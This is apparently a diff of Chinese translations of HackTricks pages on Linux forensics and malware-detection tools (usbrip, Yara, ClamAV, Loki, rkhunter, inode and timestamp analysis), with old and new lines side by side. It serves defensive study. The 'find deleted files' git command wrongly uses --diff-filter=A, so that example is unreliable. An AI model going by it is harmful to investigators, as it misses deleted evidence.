Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁用或删除。因为Linux系统上的日志通常包含有关恶意活动的最有用信息入侵者经常删除它们。因此在检查可用的日志文件时寻找可能表明删除或篡改的间隙或顺序错误的迹象是很重要的 Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁用或删除。因为Linux系统上的日志通常包含有关恶意活动的最有用信息入侵者经常删除它们。因此在检查可用的日志文件时重要的是查找可能表示删除或篡改的间隙或顺序不当的条目
{% endhint %} {% endhint %}
### 命令历史 ### 命令历史
许多Linux系统配置为为每个用户账户维护命令历史 许多Linux系统配置为为每个用户帐户保留命令历史记录
* \~/.bash\_history * \~/.bash\_history
* \~/.history * \~/.history
@ -300,34 +305,34 @@ Linux系统日志和审计子系统可能在入侵或恶意软件事件中被禁
使用命令 `last -Faiwx` 可以获取已登录用户的列表。\ 使用命令 `last -Faiwx` 可以获取已登录用户的列表。\
建议检查这些登录是否合理: 建议检查这些登录是否合理:
* 有未知用户吗 * 任何未知用户
* 有不应该登录shell的用户吗 * 任何不应该有shell登录的用户
这很重要,因为 **攻击者** 有时可能会将 `/bin/bash` 复制到 `/bin/false` 中,这样像 **lightdm** 这样的用户可能 **能够登录** 这很重要,因为**攻击者**有时可能会将 `/bin/bash` 复制到 `/bin/false` 中,因此像 **lightdm** 这样的用户可能会**能够登录**
注意,您也可以通过阅读日志来查看这些信息。 注意,您也可以通过阅读日志来查看这些信息。
### 应用痕迹 ### 应用程序痕迹
* **SSH**使用SSH从受损系统到其他系统的连接会在每个用户账户的文件中产生条目_**/.ssh/authorized\_keys**_ 和 _**/.ssh/known\_keys**_。这些条目可以揭示远程主机的主机名或IP地址。 * **SSH**使用SSH连接到受损系统和从受损系统连接到系统会导致为每个用户帐户在文件中创建条目_**/.ssh/authorized\_keys**_ 和 _**/.ssh/known\_keys**_。这些条目可以显示远程主机的主机名或IP地址。
* **Gnome桌面**:用户账户可能有一个 _**/.recently-used.xbel**_ 文件其中包含使用在Gnome桌面上运行的应用程序访问的文件的信息 * **Gnome桌面**:用户帐户可能有一个包含有关在Gnome桌面上运行的应用程序最近访问的文件信息的 _**/.recently-used.xbel**_ 文件
* **VIM**:用户账户可能有一个 _**/.viminfo**_ 文件其中包含使用VIM的详细信息包括搜索字符串历史和使用vim打开的文件路径。 * **VIM**:用户帐户可能有一个包含有关VIM使用的详细信息的 _**/.viminfo**_ 文件包括搜索字符串历史和使用vim打开的文件路径。
* **Open Office**:最近文件。 * **Open Office**:最近文件。
* **MySQL**:用户账户可能有一个 _**/.mysql\_history**_ 文件其中包含使用MySQL执行的查询 * **MySQL**:用户帐户可能有一个包含使用MySQL执行的查询的 _**/.mysql\_history**_ 文件
* **Less**:用户账户可能有一个 _**/.lesshst**_ 文件其中包含使用less的详细信息包括搜索字符串历史和通过less执行的shell命令。 * **Less**:用户帐户可能有一个包含有关less使用的详细信息的 _**/.lesshst**_ 文件包括搜索字符串历史和通过less执行的shell命令。
### USB日志 ### USB日志
[**usbrip**](https://github.com/snovvcrash/usbrip) 是一个用纯Python 3编写的小软件它解析Linux日志文件`/var/log/syslog*` 或 `/var/log/messages*`,取决于发行版以构建USB事件历史表。 [**usbrip**](https://github.com/snovvcrash/usbrip) 是一个纯Python 3编写的小型软件用于解析Linux日志文件取决于发行版可能是 `/var/log/syslog*``/var/log/messages*`以构建USB事件历史表。
了解所有已使用的USB非常有趣如果您有一个授权的USB列表找到“违规事件”未在该列表中的USB的使用将更有用 了解已使用的所有USB设备是很有趣的如果您有一个USB设备的授权列表将更有用以查找“违规事件”使用未包含在该列表中的USB设备
### 安装 ### 安装
``` ```
pip3 install usbrip pip3 install usbrip
usbrip ids download #Download USB ID database usbrip ids download #Download USB ID database
``` ```
### ### 例
``` ```
usbrip events history #Get USB history of your curent linux machine usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
@ -335,55 +340,56 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
``` ```
更多示例和信息请访问 GitHub[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) 更多示例和信息请查看github[https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建并**自动化工作流程**,这些工作流程由世界上**最先进**的社区工具提供支持。 \
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流**,利用全球**最先进**的社区工具。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 审查用户账户和登录活动 ## 查看用户帐户和登录活动
检查 _**/etc/passwd**_、_**/etc/shadow**_ 和**安全日志**寻找不寻常的名称或账户,这些账户可能在已知未授权事件发生前后被创建或使用。同时,检查可能的 sudo 暴力破解攻击。 检查 _**/etc/passwd**_、_**/etc/shadow**_ 和**安全日志**查找是否有异常名称或在已知未经授权事件附近创建或使用的帐户。还要检查可能的sudo暴力攻击。\
此外,检查 _**/etc/sudoers**__**/etc/groups**_ 文件,查看是否给用户意外授予的权 此外,检查 _**/etc/sudoers**__**/etc/groups**_ 文件,查看是否给用户授予了意外权。\
最后,寻找**没有密码**或**容易被猜到密码**的账户。 最后,查找没有密码或**易于猜测**密码的帐户。
## 检查文件系统 ## 检查文件系统
文件系统数据结构可以提供大量与**恶意软件**事件相关的**信息**,包括事件的**时间**和**恶意软件**的实际**内容**。 文件系统数据结构可以提供大量与**恶意软件**事件相关的**信息**,包括事件的**时间**和**恶意软件**的实际**内容**。\
**恶意软件**越来越多地被设计为**阻碍文件系统分析**。一些恶意软件会更改恶意文件的日期时间戳,使其更难通过时间线分析找到。其他恶意代码被设计为仅将某些信息存储在内存中,以最小化文件系统中存储的数据量。 **恶意软件**越来越多地被设计为**阻碍文件系统分析**。一些恶意软件会更改恶意文件的日期时间戳,使其更难通过时间线分析找到它们。其他恶意代码被设计为仅在内存中存储某些信息,以最小化存储在文件系统中的数据量。\
为了应对这些反取证技术,需要**仔细关注文件系统日期时间戳的时间线分析**,以及在可能发现恶意软件的常见位置存储的文件。 为了应对这种反取证技术,有必要**仔细关注文件系统日期时间戳的时间线分析**,以及存储恶意软件可能被发现的常见位置中的文件。
* 使用 **autopsy** 可以查看可能有助于发现可疑活动的事件时间线。您也可以直接使用 **Sleuth Kit**`mactime` 功能。 * 使用**autopsy**可以查看可能有助于发现可疑活动的事件时间线。您还可以直接使用**Sleuth Kit**的`mactime`功能。
* 检查 **$PATH** 中的**意外脚本**(可能是一些 sh 或 php 脚本?) * 检查**$PATH**中的**意外脚本**也许是一些sh或php脚本?)
* `/dev` 中的文件过去是特殊文件,您可能会在这里找到与恶意软件相关的非特殊文件。 * `/dev`中的文件曾经是特殊文件,您可能会在这里找到与恶意软件相关的非特殊文件。
* 寻找不寻常或**隐藏的文件**和**目录**,例如“.. ”(点点空格)或“..^G ”(点点控制-G * 查找异常或**隐藏文件**和**目录**,例如“.. ”(点 点 空格)或“..^G ”(点 点 控制-G
* 系统上的 /bin/bash 的 Setuid 副本 `find / -user root -perm -04000 print` * 系统上的/bin/bash的setuid副本 `find / -user root -perm -04000 print`
* 审查已删除**节点的日期时间戳,以查找大量文件在同一时间被删除**,这可能表明恶意活动,如安装 rootkit 或木马化服务。 * 查看已删除**inode的日期时间戳以查看是否在同一时间删除了大量文件**这可能表明恶意活动如安装rootkit或木马服务。
* 由于节点是按下一个可用的基础分配的,**大约在同一时间放置在系统上的恶意文件可能会被分配连续的节点**。因此,定位到恶意软件的一个组件后,检查相邻节点可能会很有成效 * 因为inode是按照下一个可用基础分配的**在系统上放置的恶意文件可能在大致相同的时间被分配连续的inode**。因此在定位恶意软件的一个组件后检查相邻的inode可能是有效的
* 还要检查_/bin__/sbin_ 这样的目录,因为新文件或修改文件的**修改或更改时间**可能很有趣。 * 还要检查类似 _/bin__/sbin_ 的目录,因为新文件或修改文件的**修改时间**可能很有趣。
* 查看按创建日期而非字母顺序排序的目录中的文件和文件夹很有意思,以便查看哪些文件或文件夹是最新的(通常是最后的文件夹)。 * 查看一个目录的文件和文件夹按创建日期**排序**,而不是按字母顺序,以查看哪些文件或文件夹是最近的(通常是最后的)。
您可以使用 `ls -laR --sort=time /bin` 检查文件夹中最新的文件\ 您可以使用 `ls -laR --sort=time /bin` 检查一个文件夹中最近的文件\
您可以使用 `ls -lai /bin |sort -n` 检查文件夹内文件的节点 您可以使用 `ls -lai /bin |sort -n` 检查文件夹中文件的inode
{% hint style="info" %} {% hint style="info" %}
请注意,**攻击者**可以**修改**文件的**时间**以使文件看起来**合法**,但他**不能**修改**节点**。如果您发现一个**文件**显示它是在与同一文件夹中的其他文件**同时**创建和修改的,但**节点**却**异常地大**,那么该文件的**时间戳被修改了**。 请注意,**攻击者**可以**修改**时间使**文件看起来** **合法**,但他**无法修改**inode。如果发现一个**文件**的创建和修改时间与同一文件夹中其他文件的时间相同,但**inode**意外地更大,则该**文件的时间戳已被修改**。
{% endhint %} {% endhint %}
## 比较不同文件系统版本的文件 ## 比较不同文件系统版本的文件
#### 查找新增文件 #### 查找添加的文件
```bash ```bash
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
``` ```
#### 找修改过的内容 #### 找修改过的内容
```bash ```bash
git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time" git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time"
``` ```
#### 找已删除的文件 #### 找已删除的文件
```bash ```bash
git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/
``` ```
@ -391,11 +397,11 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2
**`-diff-filter=[(A|C|D|M|R|T|U|X|B)…​[*]]`** **`-diff-filter=[(A|C|D|M|R|T|U|X|B)…​[*]]`**
仅选择已添加(`A`)、已复制(`C`)、已删除(`D`)、已修改(`M`)、已重命名(`R`)的文件,以及那些类型(即常规文件、符号链接、子模块等)已更改(`T`)、未合并(`U`)、未知(`X`)或配对已断开(`B`的文件。可以使用过滤字符的任意组合(包括无)。当组合中添加 `*`(全部或无)时,如果比较中有任何文件符合其他条件,则选择所有路径;如果没有文件符合其他条件,则不选择任何内容。 仅选择文件类型为已添加 (`A`)、已复制 (`C`)、已删除 (`D`)、已修改 (`M`)、已重命名 (`R`)、类型已更改 (`T`)、未合并 (`U`)、未知 (`X`) 或已配对破损 (`B`) 的文件。可以使用过滤字符的任意组合(包括无)。当组合中添加 `*`(全部或无)时,如果有任何文件符合比较中的其他条件,则选择所有路径;如果没有文件符合其他条件,则不选择任何内容。
此外,**这些大写字母可以小写来排除**。例如 `--diff-filter=ad` 排除了添加和删除的路径。 此外,**这些大写字母可以转换为小写以排除**。例如,`--diff-filter=ad` 排除了已添加和已删除的路径。
请注意,并非所有差异都能展示所有类型。例如,从索引到工作树的差异永远不会有添加条目(因为差异包含的路径集受索引中内容的限制)。同样,如果禁用了这些类型的检测,则复制和重命名条目也不会出现 请注意,并非所有差异都可以包含所有类型。例如,从索引到工作树的差异永远不会包含已添加条目(因为差异中包含的路径集受限于索引中的内容)。同样,如果禁用了这些类型的检测,则无法出现已复制和重命名条目。
## 参考资料 ## 参考资料
@ -406,20 +412,20 @@ git diff --no-index --diff-filter=A _openwrt1.extracted/squashfs-root/ _openwrt2
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
您在**网络安全公司**工作吗?您想在**HackTricks**中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop) 您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的**公司广告**吗?或者您想访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列 * 发现我们的独家[NFTs 集合](https://opensea.io/collection/the-peass-family)[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com) * 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md) **@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud)提交PR**分享您的黑客技巧**。 **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
</details> </details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建并**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\ 使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
立即获取访问权限: 立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。 * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
## 取证速查表 ## 取证备忘单
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
@ -26,7 +26,7 @@
* [Intezer](https://analyze.intezer.com) * [Intezer](https://analyze.intezer.com)
* [Any.Run](https://any.run/) * [Any.Run](https://any.run/)
## 离线毒和检测工具 ## 离线防病毒和检测工具
### Yara ### Yara
@ -36,8 +36,8 @@ sudo apt-get install -y yara
``` ```
#### 准备规则 #### 准备规则
使用此脚本从github下载并合并所有的yara恶意软件规则:[https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ 使用此脚本从 github 下载并合并所有 yara 恶意软件规则:[https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
创建 _**rules**_ 目录并执行。这将创建一个名为 _**malware\_rules.yar**_ 的文件,其中包含所有针对恶意软件的yara规则。 创建 _**rules**_ 目录并执行该脚本。这将创建一个名为 _**malware\_rules.yar**_ 的文件,其中包含所有恶意软件的 yara 规则。
```bash ```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules mkdir rules
@ -48,9 +48,9 @@ python malware_yara_rules.py
yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder yara -w malware_rules.yar folder #Scan the whole folder
``` ```
#### YaraGen:检查恶意软件和创建规则 #### YaraGen: 检查恶意软件并创建规则
您可以使用工具 [**YaraGen**](https://github.com/Neo23x0/yarGen) 从二进制文件生成yara规则。查看这些教程[**第1部分**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/)[**第2部分**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/)[**第3部分**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) 您可以使用工具 [**YaraGen**](https://github.com/Neo23x0/yarGen) 从二进制文件生成 yara 规则。查看这些教程:[**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
```bash ```bash
python3 yarGen.py --update python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/ python3.exe yarGen.py --excludegood -m ../../mals/
@ -69,25 +69,25 @@ clamscan folderpath #Scan the whole folder
``` ```
### [Capa](https://github.com/mandiant/capa) ### [Capa](https://github.com/mandiant/capa)
**Capa** 可以检测可执行文件中潜在的恶意**能力**PE、ELF、.NET。因此它会发现例如 Att\&ck 战术,或者可疑能力,例如: **Capa**检测可执行文件中的潜在恶意功能PE、ELF、.NET。因此它会发现诸如Att\&ck战术或可疑功能,例如:
* 检查 OutputDebugString 错误 - 检查OutputDebugString错误
* 作为服务运行 - 作为服务运行
* 创建进程 - 创建进程
在 [**Github 仓库**](https://github.com/mandiant/capa) 获取它 获取它在[**Github存储库**](https://github.com/mandiant/capa)中
### IOCs ### IOCs
IOC 指的是妥协指标。IOC 是一组**条件,用于识别**一些可能不受欢迎的软件或已确认的**恶意软件**。蓝队使用这种定义来**在他们的**系统**和**网络**中搜索这类恶意文件**。\ IOC表示威胁指标。IOC是一组**用于识别**一些潜在不受欢迎的软件或已确认**恶意软件**的条件。蓝队使用这种定义来在其**系统**和**网络**中**搜索此类恶意文件**。\
分享这些定义非常有用,因为当在计算机中识别出恶意软件并为该恶意软件创建了 IOC 后,其他蓝队可以使用它来更快地识别恶意软件。 共享这些定义非常有用因为当在计算机中识别恶意软件并为该恶意软件创建IOC时其他蓝队可以使用它更快地识别恶意软件。
创建或修改 IOCs 的工具是 [**IOC 编辑器**](https://www.fireeye.com/services/freeware/ioc-editor.html)**。**\ 创建或修改IOC的工具是[**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**。**\
您可以使用 [**Redline**](https://www.fireeye.com/services/freeware/redline.html) 等工具**在设备中搜索定义的 IOCs**。 您可以使用诸如[**Redline**](https://www.fireeye.com/services/freeware/redline.html)之类的工具在设备中**搜索定义的IOC**。
### Loki ### Loki
[**Loki**](https://github.com/Neo23x0/Loki) 是一个简单妥协指标的扫描器。\ [**Loki**](https://github.com/Neo23x0/Loki)是一个用于简单威胁指标的扫描器。\
检测基于四种检测方法: 检测基于四种检测方法:
``` ```
1. File Name IOC 1. File Name IOC
@ -102,43 +102,43 @@ Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check 4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10) Compares process connection endpoints with C2 IOCs (new since version v.10)
``` ```
### Linux Malware Detect ### Linux 恶意软件检测
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) 是一款在 GNU GPLv2 许可下发布的 Linux 恶意软件扫描器,专为共享托管环境中面临的威胁而设计。它使用来自网络边缘入侵检测系统的威胁数据来提取正在攻击中积极使用的恶意软件,并生成用于检测的签名。此外,威胁数据还来自用户通过 LMD 结账功能的提交以及恶意软件社区资源。 [**Linux 恶意软件检测 (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) 是一个针对 Linux 的恶意软件扫描器,采用 GNU GPLv2 许可发布,旨在解决共享托管环境中面临的威胁。它利用来自网络边缘入侵检测系统的威胁数据,提取正在攻击中使用的恶意软件,并生成用于检测的签名。此外,威胁数据还来自用户提交的数据,使用 LMD 结账功能以及恶意软件社区资源。
### rkhunter ### rkhunter
像 [**rkhunter**](http://rkhunter.sourceforge.net) 这样的工具可以用来检查文件系统中可能存在的 **rootkits** 和恶意软件。 类似 [**rkhunter**](http://rkhunter.sourceforge.net) 这样的工具可用于检查文件系统中可能存在的 **rootkits** 和恶意软件。
```bash ```bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress] sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
``` ```
### FLOSS ### FLOSS
[**FLOSS**](https://github.com/mandiant/flare-floss) 是一个工具,它会尝试使用不同技术在可执行文件中找到混淆的字符串。 [**FLOSS**](https://github.com/mandiant/flare-floss) 是一个工具,将尝试使用不同的技术在可执行文件中查找混淆的字符串。
### PEpper ### PEpper
[PEpper](https://github.com/Th3Hurrican3/PEpper) 检查可执行文件内的一些基本内容二进制数据、熵、URL和IP一些yara规则)。 [PEpper](https://github.com/Th3Hurrican3/PEpper) 检查可执行文件中的一些基本内容二进制数据、熵、URL 和 IP、一些 yara 规则)。
### PEstudio ### PEstudio
[PEstudio](https://www.winitor.com/download) 是一个工具,允许获取Windows可执行文件的信息如导入、导出、头文件同时也会检查病毒总数并找到潜在的攻击技术。 [PEstudio](https://www.winitor.com/download) 是一个工具,可以获取 Windows 可执行文件的信息,如导入、导出、头部,还会检查病毒总数并查找潜在的 Att\&ck 技术。
### Detect It Easy(DiE) ### Detect It Easy(DiE)
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) 是一个工具,用于检测文件是否被**加密**,同时也能找到**打包器** [**DiE**](https://github.com/horsicq/Detect-It-Easy/) 是一个工具,用于检测文件是否加密,并查找打包程序
### NeoPI ### NeoPI
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) 是一个Python脚本使用各种**统计方法**来检测文本/脚本文件中的**混淆**和**加密**内容。NeoPI的目的是帮助**检测隐藏的web shell代码** [**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) 是一个使用各种统计方法来检测文本/脚本文件中混淆和加密内容的 Python 脚本。NeoPI 的预期目的是帮助检测隐藏的 Web shell 代码
### **php-malware-finder** ### **php-malware-finder**
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) 尽其所能检测**混淆**/**可疑代码**,以及使用**PHP**函数的文件,这些函数经常在**恶意软件**/webshells中使用。 [**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) 尽最大努力检测混淆/可疑代码以及使用 PHP 函数的文件,这些函数通常在恶意软件/webshell 中使用。
### Apple Binary Signatures ### Apple 二进制签名
在检查某些**恶意软件样本**时,你应该始终**检查二进制文件的签名**,因为签名它的**开发者**可能已经与**恶意软件**有关 在检查一些恶意软件样本时,您应始终检查二进制文件的签名,因为签署它的开发人员可能已与恶意软件相关联
```bash ```bash
#Get signer #Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -153,26 +153,12 @@ spctl --assess --verbose /Applications/Safari.app
### 文件堆叠 ### 文件堆叠
如果您知道某个包含**文件**的文件夹是在**某个日期**上次更新的。**检查**该**日期**所有**文件**在**网页服务器上创建和修改的日期**,如果有任何日期**可疑**检查该文件。 如果你知道某个包含**web服务器文件**的文件夹是在**某个日期**上次更新的。**检查**所有**web服务器文件**的创建和修改日期,如果有任何**可疑日期**,则检查该文件。
### 基线 ### 基线
如果文件夹的文件**不应该被修改**,您可以计算文件夹**原始文件**的**哈希值**并将它们与**当前**文件进行**比较**。任何被修改的都将是**可疑的**。 如果文件夹中的文件**不应该被修改**,你可以计算文件夹中**原始文件**的**哈希值**,并将其与**当前文件**进行**比较**。任何被修改的内容都会**引起怀疑**。
### 统计分析 ### 统计分析
当信息被保存在日志中时,您可以**检查统计数据,比如每个文件被访问的次数,因为网页外壳可能是其中之一**。 当信息保存在日志中时,你可以**检查统计数据比如每个web服务器文件被访问的次数因为web shell可能是其中之一**。
<details>
<summary><strong>从零开始学习AWS黑客攻击直到成为专家通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary>
其他支持HackTricks的方式
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details>

View file

@ -1,175 +1,166 @@
<details> <details>
<summary><strong>零基础学习AWS黑客技术直至成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
